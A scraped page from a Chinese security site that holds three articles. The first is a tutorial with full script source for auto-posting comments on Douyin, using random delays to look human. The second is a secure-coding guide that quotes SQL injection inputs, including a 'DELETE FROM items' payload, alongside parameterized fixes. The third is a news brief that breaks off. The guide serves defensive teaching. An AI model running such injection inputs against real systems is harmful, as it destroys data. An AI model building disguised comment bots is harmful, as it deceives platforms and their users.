手机助手编写脚本界面(需要注意红色箭头指向的几个地方,了解一下相关功能项):

手机助手脚本界面.png

按键精灵手机助手学习方法:和PC版类似,先熟悉界面、菜单功能项,手机助手操作方式,移动端按键精灵操作方式,最重要熟悉基本命令和全部命令,全部看完一遍,即可对要实现的功能有一个大概的构思,明确会用到哪些命令方法。

抖音自动评论脚本编写思路(流程):

1. 按下Home键,然后自动打开抖音App

基本命令——触摸命令——按键 Home——插入,即可生成按下Home键的代码,

基本命令——其它命令——应用程序 启动——包名找到抖音,即可生成打开抖音App代码

如下(注意延时2秒,防止RunApp闪退,实践得知):

//按下Home键
KeyPress "Home"
//延时2秒,防止RunApp闪退
Delay 2000
//打开抖音
RunApp "com.ss.iphone.ugc.Aweme"

2. 模拟上滑切换视频,随机延时模拟人为观看视频

基本命令——从屏幕x1,y1坐标滑动到x2,y2坐标,可通过两组坐标模拟某个方向的滑动操作,坐标点需要通过屏幕分辨率计算,两组坐标x轴相同,y轴从小到大即为上滑操作。

基本命令——设备命令——得到屏幕宽度、得到屏幕高度,即可得到屏幕分辨率,宽×高,

基本命令——其它命令——延时x毫秒时间,即可延时执行,随机延时需计算实现

整理代码如下(TracePrint方法,控制台调试输出):

//获取屏幕分辨率
Dim screenX, screenY
screenX = GetscreenX()
screenY = GetscreenY()

//生成指定范围随机数
Function GenRnd(minVal, maxVal)
	GenRnd = Int((maxVal - minVal + 1) * Rnd() + minVal)
End Function

//随机延时
Function DelayRnd(minSec, maxSec)
	Dim randTime
	randTime = GenRnd(minSec, maxSec)
	TracePrint "随机延时" & randTime & "秒"
	Delay randTime * 1000
End Function

//上划切换视频
Function SwipeUp(screenX, screenY)
    //整除运算符计算从屏幕中间底部划到顶部,划动延时为30毫秒
	Swipe screenX \ 2, screenY * 0.65 \ 1, screenX \ 2, screenY * 0.35 \ 1, 30
	//调试输出结果,例:621 1766 621 442 30
	TracePrint(screenX \ 2, screenY * 0.8 \ 1, screenX \ 2, screenY * 0.2 \ 1, 30)
	//随机延时3到15秒
	DelayRnd(3, 15)
End Function

3. 找评论按钮,点击评论按钮

找评论按钮需要用到抓抓菜单,找到评论按钮在屏幕中的坐标点:

评论按钮.png先点左上角截屏,即可加载当前抖音视频屏幕截图,滑动滚轴找到评论按钮,鼠标放到中心点,显示的坐标点即为评论按钮的坐标点,

问:这里是否有其它不依赖坐标点的方法,有,了解一下以图搜图功能,需要截取评论按钮Icon,放到附件里,通过代码在当前屏幕中搜索评论按钮截图的位置。

基本命令——短暂点击屏幕——代入x,y坐标点,即可点击屏幕某一坐标

整理代码:

//查找并点击评论按钮坐标,暂定1150×1440
Tap 1150, 1440

点击评论按钮后示例:

点击评论按钮.png4. 点击左下角评论输入框,调接口获取评论内容,自动输入评论内容,点发送按钮

4-1. 按照上述找评论按钮方法,找评论输入框大概坐标区域,因为是在屏幕底部偏左区域(见上图红色圈注),故通过屏幕高度计算得出大概坐标点:

//点击评论框
Tap 80, screenY - 80

评论框展开示例(红色圈注区域为输入评论内容区域,已自动获取焦点):

评论框展开.png4-2. 调接口获取评论内容,这里需要用到Get或Post方法,请求接口获取返回数据,全部命令——Url网络操作——以Get|Post方式访问地址,即可满足普通不需要Cookie的接口,需携带Cookie,请参考:全部命令——插件命令——ShanHai 山海插件命令v2.5——Get|Post访问HTTP资源(附带cookie),或其它插件。

这里找到了一个古诗词的接口,https://api.77sec.cn/yiyan/api.php,访问即可随时返回一句古诗词,例如:

document.write("往者不可谏,来着犹可追。——《论语·微子》");

带有js代码,需提取文字部分,有两种方法,使用正则提取,或者使用字符串替换,替换document.write(“和”);为空。

调接口示例:

Dim html, content
// 返回结果示例: document.write("居安思危,思则有备,有备无患。——《左传》");
html = URL.Get("https://api.77sec.cn/yiyan/api.php")
TracePrint html

使用字符串替换提取古诗词内容:

content = Replace(html, "document.write(""", "")
content = Replace(content, """);", "")

使用正则提取,这个地方需注意一下,可以了解到Lua插件使用、Lua插件正则和普通正则的区别、Lua插件编写方法等。

普通正则提取文字:

/\("(.+?)"\)/g

使用ShanHai 山海插件命令v2.5——RegexFind全局正则匹配提取:

//引用插件,按键精灵手机助手自带,对应目录"按键精灵\按键精灵手机助手\Plugin\ShanHai.lua"
Import "shanhai.lua"

Dim regexArr = shanhai.RegexFind(html,"%(\"(.+)\"%)")
For Each v In regexArr
    content = v
Next
TracePrint content

刚开始以为shanhai.RegexFind( )正则参数传入普通的正则表达式即可,调试无结果,然后看了ShanHai.lua插件源码,发现需要使用Lua正则表达式,继而学习了解了其表达式写法,参考lua高级-正则表达式。

小Tip:如果是自己写的插件,脚本代码中怎么引用?PC端和手机端放到对应的Plugin目录下,Import引用即可。

4-3. 自动输入评论内容,按照4-1找到的评论框展开红色圈注区域,已自动获取焦点,使用InputText( )方法即可实现自动输入评论内容:

//输入评论内容
InputText content

评论框自动输入.png

4-4. 点发送按钮,此处用的是搜狗输入法,发送按钮在右下角,可通过屏幕分辨率算坐标,也可用抓抓功能取中心坐标点,此处坐标暂定1107×2125:

//点击搜狗输入法发送按钮,坐标暂定1107×2125
Tap 1107, 2125

5. 关闭屏幕区域,以便进行下一次操作

有两种关闭方式,第一种点屏幕区域右上角×号,第二种点评论区域与屏幕顶部间隔区域(会误点通知消息,不推荐)

//关闭评论,点击评论区右上角×号,坐标暂定1169×655
Tap 1169, 655
或
//关闭评论,点屏幕上顶部即可
Tap screenX \ 2, screenY * 0.1 \ 1

经过以上操作即可完成抖音短视频自动评论功能,每步操作可通过点击调试菜单在手机上运行调试。剩下的就是进行循环操作。

0×04  按键精灵越狱插件使用

按键精灵手机助手每次预览界面、调试运行脚本时会自动同步界面、代码到手机端按键精灵App里,默认在底部脚本——未分类文件夹里,打开后即可看到手机助手编写的脚本:

按键精灵脚本.png

点击脚本即可进入到脚本配置界面:

按键精灵脚本设置界面.png

脚本名称和使用说明可在手机助手——脚本——脚本属性里设置,我这个简单,使用说明就一句话,”老省事了,开启后别动手机就成”。

脚本设置相关配置项需要通过手机助手——界面进行设计,配置项变量可在代码中通过ReadUIConfig(界面配置项名称, 默认值)获取。

手机助手界面(见上图预览效果):

手机助手界面编写.png取评论次数配置项代码示例:

Dim commentTimes
commentTimes = CInt(ReadUIConfig("commentTimes", 10)) //CInt() 尝试将表达式转换为短整数型,如未取到值,默认10次

设置后点加载按钮即可运行脚本,有两种控制方式,一种是按键精灵悬浮图标控制,一种是音量加减控制,加运行,减停止运行,可在按键精灵App设置菜单里进行设置。

脚本配置界面图例右上角编辑按钮可在手机上查看脚本内容,并可实时修改保存运行,即可独立运行。

0×05 抖音自动评论——古诗词版脚本源码

源码中还有很多上述没有提到的地方,包括不限于基础语法,循环操作,封装方法等,可通过代码注释做一了解。

//导入ShanHai 山海插件命令v2.5插件
Import "shanhai.lua"
//获取屏幕分辨率
Dim screenX, screenY
screenX = GetscreenX()
screenY = GetscreenY()
//调试输出结果,例:1242×2208
TracePrint "屏幕分辨率: " & screenX & "×" & screenY
//按下Home键
KeyPress "Home"
//延时2秒,防止RunApp闪退
Delay 2000
//打开抖音
ShowMsg "打开抖音", screenX, screenY

RunApp "com.ss.iphone.ugc.Aweme"
Delay 5000

//获取界面设置的评论次数
Dim content
Dim i, commentTimes
commentTimes = CInt(ReadUIConfig("commentTimes", 10)) //CInt() 尝试将表达式转换为短整数型 
ShowMsg "评论次数配置为" & commentTimes & "次", screenX, screenY
For i = 1 To commentTimes
	//上划切换视频
	SwipeUp screenX, screenY
	TracePrint "第" & i & "次评论"
	ShowMsg "第" & i & "次评论", screenX, screenY

	//获取评论内容
	content = GetPoetry()
	ShowMessage "评论内容:" & content, 2000, screenX * 0.05 \ 1, screenY * 0.75 \ 1
	//自动评论
	Comment screenX, screenY, content
Next


//--------------------------------------------------------------------------------------------
//上划切换视频
Function SwipeUp(screenX, screenY)
    //整除运算符计算从屏幕中间底部划到顶部,划动延时为30毫秒
	Swipe screenX \ 2, screenY * 0.65 \ 1, screenX \ 2, screenY * 0.35 \ 1, 30
	//调试输出结果,例:621 1766 621 442 30
	TracePrint(screenX \ 2, screenY * 0.8 \ 1, screenX \ 2, screenY * 0.2 \ 1, 30)
	//随机延时3到15秒
	DelayRnd(3, 15)
End Function

//自动评论
Function Comment(screenX, screenY, content)
	//查找并点击评论按钮坐标,暂定1150×1440
	Tap 1150, 1440
	DelayRnd(3, 8)
	//点击评论框
	Tap 80, screenY - 80
	//输入评论内容
	InputText content
	Delay 1000
	//点击搜狗输入法发送按钮,坐标暂定1107×2125
	Tap 1107, 2125
	Delay 2000
	//关闭评论,点屏幕上顶部即可
	//Tap screenX \ 2, screenY * 0.1 \ 1
	//关闭评论,点击评论区右上角×号,坐标暂定1169×655
    Tap 1169, 655
	Delay 1000
End Function

//获取一句随机古诗词作为评论内容
Function GetPoetry()
	Dim html, content
	// 返回结果示例: document.write("居安思危,思则有备,有备无患。——《左传》");
	html = URL.Get("https://api.77sec.cn/yiyan/api.php")
	TracePrint html
//	content = Replace(html, "document.write(""", "")
//	content = Replace(content, """);", "")
	Dim regexArr = shanhai.RegexFind(html,"%(\"(.+)\"%)")
	For Each v In regexArr
		content = v
	Next
	TracePrint content
	GetPoetry = content
End Function

//生成指定范围随机数
Function GenRnd(minVal, maxVal)
	GenRnd = Int((maxVal - minVal + 1) * Rnd() + minVal)
End Function

//随机延时
Function DelayRnd(minSec, maxSec)
	Dim randTime
	randTime = GenRnd(minSec, maxSec)
	TracePrint "随机延时" & randTime & "秒"
	Delay randTime * 1000
End Function

//重写ShowMessage
Function ShowMsg(msg, screenX, screenY)
	Dim intX, intY
	intX = screenX \ 2 - 85
	intY = screenY * 0.75 \ 1
	TracePrint "提示消息坐标: " & intX & "×" & intY
	ShowMessage msg, 2000, intX, intY
End Function

0×06 Tips

OK,各位看官,相信经过上述一番文字图片轰炸(LuoSuo),应该可以上手按键精灵做一些事情了吧。当然我接触的也只是皮毛,学无止境,当有一个新想法时,可能会再接触到更多的东西。除了上述实现的抖音自动评论,还可以做哪些事情呢,我简单列几项,不细说,如果你有这方面需求,很快可以想到。

1. 按键精灵手机版是可以操作很多基础功能的,打电话、读发短信等等,所以,脚本源码还好,用别人封装好的不一定是安全的

2. 可以实现批量添加、删除、清空联系人,具体用途自己想

3. 插件编写,看一下按键精灵自带的插件源码,就可以写自定义插件实现更强大的功能

4. 还是++

0×07 结语

做一个有态度的技术工作者。

恭祝大家2020新年好,这可能是最早的新年祝福。

*本文原创作者:冰海,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文阅读

Fortify SCA检测Java程序问题及解决方法
Mr一凡先生 2019-9-20 2:0 转存

本文是本公司软件进行安全评测的结果经验分享,纯属个人经验,如有问题请及时反馈~

一、输入验证

1.1 sql注入

SQL Injection

Abstract

通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令。

Explanation

SQL injection 错误在以下情况下发生:

1. 数据从一个不可信赖的数据源进入程序。

2. 数据用于动态地构造一个 SQL 查询。

例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显

示条目所有者与被授予权限的当前用户一致的条目。

...

String userName = ctx.getAuthenticatedUserName();

String itemName = request.getParameter("itemName");

String query = "SELECT * FROM items WHERE owner = '"

+ userName + "' AND itemname = '"

+ itemName + "'";

ResultSet rs = stmt.execute(query);

...

这一代码所执行的查询遵循如下方式:

SELECT * FROM items

WHERE owner =

AND itemname = ;

但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为itemName 输入字符串“name’ OR ‘a’='a”,那么查询就会变成:

SELECT * FROM items

WHERE owner = 'wiley'

AND itemname = 'name' OR 'a'='a';

附加条件 OR ‘a’='a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:

SELECT * FROM items;

这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。

例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:

SELECT * FROM items

WHERE owner = 'wiley'

AND itemname = 'name';

DELETE FROM items;

--'

众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE

FROM items; SELECT * FROM items WHERE ‘a’='a”就会创建如下三个有效指令:

SELECT * FROM items

WHERE owner = 'wiley'

AND itemname = 'name';

DELETE FROM items;

SELECT * FROM items WHERE 'a'='a';

有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 SQL injection)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。

示例 3:以下代码对示例 1 进行调整,使其适用于 Android 平台。

...

PasswordAuthentication pa = authenticator.getPasswordAuthentication();

String userName = pa.getUserName();

String itemName = this.getIntent().getExtras().getString("itemName");

String query = "SELECT * FROM items WHERE owner = '"

+ userName + "' AND itemname = '"

+ itemName + "'";

SQLiteDatabase db = this.openOrCreateDatabase("DB", MODE_PRIVATE,

null);

Cursor c = db.rawQuery(query, null);

避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:

把没有被黑名单引用的值作为目标

寻找方法以绕过对某一转义序列元字符的需要

使用存储过程来隐藏注入的元字符

手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQLinjection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。所以再次强调,存储过程在某些情况下可以避免这种攻击,但是并不能完全保护您的应用系统抵御 SQLinjection 的攻击。

Recommendation

造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。

可以将例 1 改写成使用参数化 SQL 指令(替代用户输入连续的字符串),如下所示:

...

String userName = ctx.getAuthenticatedUserName();

String itemName = request.getParameter("itemName");

String query = "SELECT * FROM items WHERE itemname=? AND owner=?";

PreparedStatement stmt = conn.prepareStatement(query);

stmt.setString(1, itemName);

stmt.setString(2, userName);

ResultSet results = stmt.execute();

...

下面是 Android 的等同内容:

...

PasswordAuthentication pa = authenticator.getPasswordAuthentication();

String userName = pa.getUserName();

String itemName = this.getIntent().getExtras().getString("itemName");

String query = "SELECT * FROM items WHERE itemname=? AND owner=?";

SQLiteDatabase db = this.openOrCreateDatabase("DB", MODE_PRIVATE, null);

Cursor c = db.rawQuery(query, new Object[]{itemName, userName});

...

更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串**,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值**中进行选择。

扫描到结果截图:

注:这些错误把参数以”?”的形式传输即可解决

1.2  跨站脚本攻击

这个

Cross-Site Scripting: External Links、Persistent、Reflected

Abstract

向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。配置中的设置可最大限度降低暴露cross-site scripting 漏洞的可能性。

Explanation

Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的资源进入 Web 应用程序,通常是一个网页请求或者数据库。

2. 未检验包含在动态内容中的数据,便将其传送给了 Web 用户。传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。由于针对 XSS 漏洞进行的攻击通常涉及到与受攻击者控制的恶意站点进行通信或需要重新定向到该站点,因此注入对其他域内容引用的能力在诸多攻击中必不可少。可对 AntiSamy 进行配置,使其阻止指向外部域的链接,进而降低攻击者可通过 XSS 攻击造成的破坏。然而,这种保护只能解决部分问题,并不能解决由XSS 漏洞带来的整体威胁。

例 1:以下 AntiSamy 配置条目允许链接至在应用程序所运行的域之外的 URL。

<attribute name=href onInvalid=filterTag">

    <regexp-list>

        <regexp name="onsiteURI"/>

        <regexp name=offsiteURI"/>

    </regexp-list>

</attribute>

Recommendation

无论什么时候,应尽可能阻止引用了外部域的链接。

例 2:以下 AntiSamy 配置条目禁止链接至在应用程序所运行的域之外的 URL。

<attribute name=href onInvalid="filterTag">

    <regexp-list>

        <regexp name="onsiteURL"/>

    </regexp-list>

</attribute>

例 3:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。

<%...

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);

if (rs != null) {

rs.next();

String name = rs.getString("name");

}

%>

Employee Name: <%= name %>

如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的盗取行为无能为力。这段代码暴露出的危险较小,因为 name 的值是从数据库中读取的,而且显然这些内容是由应用程序管理的。然而,如果 name 的值是由用户提供的数据产生,数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS(也称为 Stored XSS)盗取极其阴险狡猾,因为数据存储导致的间接性使得辨别威胁的难度增大,而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿 (guestbook)的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿的用户都会执行这些恶意代码。

针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。

由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。

由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。

针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。

更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]

在有关块级别元素的内容中(位于一段文本的中间):

“<” 是一个特殊字符,因为它可以引入一个标签。

“&” 是一个特殊字符,因为它可以引入一个字符实体。

“>” 是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个 ”<”,却错误地将其遗漏了。

下面的这些原则适用于属性值:

对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。

对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。

对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。

“&” 与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。

例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:

空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。

“&” 是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。

非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。

在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的 ”%” 符号。例如,当输入中出现 ”%68%65%6C%6C%6F” 时,只有从输入的内容中过滤掉 ”%”,上述字符串才能在网页上显示为”hello”。

在 的正文内:

如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。

服务器端脚本:

如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。

配置文件可用来缩小攻击者可用来实施攻击的攻击面。

例 1:以下 AntiSamy 配置文件禁止在 href 中设置异地 URL。

<attribute name=href" onInvalid=filtertag">

    <regexp-list>

        < regexp name="onsiteURL"/>

    </regexp-list>

</attribute>

扫描到结果截图:

注:这个直接加上过滤器就行了,不算太难,但是加上之后一定要跟扫描代码的人员说一下,自己代码中存在这个过滤器,反正我扫描的时候总感觉这个工具不能自动检测到过滤器给自己带来很多不是问题的问题

1.3 路径操作

1.4 代码注入

1.5 上传任意文件

1.6 未验证的重新定向和转发

1.7 拒绝服务

1.8 HTTP响应截断

二、安全特性

2.1访问控制

个人修改方法:附加限制,获取当前登录用户,对任何查询操作均校验该人员是否有权限

以下为官方解释及修改方法

Access Control: Database

Abstract

如果没有适当的 access control,就会执行一个包含用户控制主键的 SQL 指令,从而允许攻击者访问未经授权的记录。

Explanation

Database access control 错误在以下情况下发生:

1. 数据从一个不可信赖的数据源进入程序。

2. 这个数据用来指定 SQL 查询中主键的值。

示例 1:以下代码使用可转义元字符并防止出现 SQL 注入漏洞的参数化语句,以构建和执行用于搜索与指定标识符 [1] 相匹配的清单的 SQL 查询。您可以从与当前被授权用户有关的所有清单中选择这些标识符。

...

id = Integer.decode(request.getParameter("invoiceID"));

String query = "SELECT * FROM invoices WHERE id = ?";

PreparedStatement stmt = conn.prepareStatement(query);

stmt.setInt(1, id);

ResultSet results = stmt.execute();

...

问题在于开发者没有考虑到所有可能出现的 id 值。虽然接口生成了一个当前用户的标识符清单,但是攻击者可以绕过这个接口,从而获取所需的任何清单。因为此例中的代码没有执行检查,确保用户有权访问需要的清单,所以代码会显示所有清单,即使这些清单并不属于当前用户。有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 Database access control 错误)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。

示例 2:以下代码对示例 1 进行调整,使其适用于 Android 平台。

...

String id = this.getIntent().getExtras().getString("invoiceID");

String query = "SELECT * FROM invoices WHERE id = ?";

SQLiteDatabase db = this.openOrCreateDatabase("DB", MODE_PRIVATE,

null);

Cursor c = db.rawQuery(query, new Object[]{id});

许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Spring MVC。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。

Recommendation

与其靠表示层来限制用户输入的值,还不如在应用程序和数据库层上进行 access control。任何情况下都不允许用户在没有取得相应权限的情况下获取或修改数据库中的记录。每个涉及数据库的查询都必须遵守这个原则,这可以通过把当前被授权的用户名作为查询语句的一部分来实现。

例 3:以下代码实施了与例 1 相同的功能,但是附加了一个限制,即为当前被授权的用户指定某一特定的获

取清单的方式。

...

userName = ctx.getAuthenticatedUserName();

id = Integer.decode(request.getParameter("invoiceID"));

String query =

"SELECT * FROM invoices WHERE id = ? AND user = ?";

PreparedStatement stmt = conn.prepareStatement(query);

stmt.setInt(1, id);

stmt.setString(2, userName);

ResultSet results = stmt.execute();

...

下面是 Android 的等同内容:

...

PasswordAuthentication pa = authenticator.getPasswordAuthentication();

String userName = pa.getUserName();

String id = this.getIntent().getExtras().getString("invoiceID");

String query = "SELECT * FROM invoices WHERE id = ? AND user = ?";

SQLiteDatabase db = this.openOrCreateDatabase("DB", MODE_PRIVATE,

null);

Cursor c = db.rawQuery(query, new Object[]{id, userName});

...

扫描到结果截图:

注:在这里面我发现只要你传输的数据中存在”id”那么恭喜你中奖了,工具都会默认想让你增加用户验证。

2.2不安全的加密存储

2.3密码管理

2.4 私有信息侵犯

2.5 不安全的随机函数

三、代码质量

3.1硬编码

3.2 未释放资源

3.3 空指针调用

四、环境

4.1安全配置错误

五、代码封装

5.1 系统信息泄露

第一次写这种总结,本来想着一上午就能搞定,突然发现这么多,慢慢整理吧,后期会更新,我是一个很懒的程序员ヽ(●-`Д´-)ノ

*本文原创作者:Mr一凡先生,本文属于FreeBuf原创奖励计划,未经许可禁止转载

原文阅读

FreeBuf早报|诺基亚员工意外泄露了俄罗斯电信运营商SORM监控设备的秘密;MITRE发布CWE Top 25榜单;Harbor任意管理员注册漏洞
shidongqi 2019-9-20 0:59 转存

FreeBuf早报,安全圈值得关注的每日大事件

【全球动态】

1.诺基亚员工意外泄露了俄罗斯电信运营商SORM监控设备的秘密

外媒刚刚揭示了俄罗斯电信运营商机房中神秘的 SORM 监控设备,据说它们被安插在各个城市的带锁房间,并且直连该国某些大型电信运营商的电话和互联网络。这些设备的大小与一台洗衣机相当,可容纳来自俄罗斯安全部门的特殊设备,收集来自数以百万计的用户的电话和信息。[阅读原文]

2.时隔8年,MITRE再次发布CWE Top 25榜单

本周二,专注政府、行业和学术信息安全内容的非营利性组织 MITRE CWE 团队发布了 CWE Top 25 榜单,列出了25个最危险的软件错误。这些 CWE 代表着软件中最常见的关键弱点,它们是软件实现中出现的bug、设计缺陷或其它错误,包括缓冲区溢出、路径名称遍历错误、不必要的随机化或可预测性、代码评估和注入、缺乏数据验证等等。[阅读原文]

3.中国信通院:《IPv6网络安全白皮书》

中国信息通信研究院在第六届国家网络安全宣传周电信日主题论坛发布《筑牢下一代互联网安全防线—IPv6网络安全白皮书》,中国信通院副院长王志勤对白皮书进行了现场解读。[阅读原文]

4.新报告称人工智能无法保护人们免受Deepfakes技术的影响

来自Data & Society的一份新报告引发了人们对视频欺骗性改变的自动化解决方案的疑虑,包括机器学习改变的视频deepfakes等。作者Britt Paris和Joan Donovan 认为,虽然deepfakes是新的,但却是媒体操纵历史悠久的一部分 – 需要社会和技术修复。依靠人工智能实际上可以通过将更多数据和权力集中在私营公司手中来使事情变得更糟。[阅读原文]

5.美国人讨厌互联网巨头?2/3调查者希望拆分它们

据国外媒体报道,在美国,拆分大型科技公司的主意可谓深得民心,尤其是如果这意味着亚马逊和谷歌等公司不再优先展示有利于自己谋利的搜索结果。[阅读原文]

6.朝鲜正在开发自己的加密货币 以规避国际制裁

据悉,朝鲜目前正处于开发自己的加密货币的早期阶段,以避免受到严重的国际制裁,并规避美国主导的全球金融体系。[阅读原文]

7.加拿大一最高级别情报官员被挖出是间谍

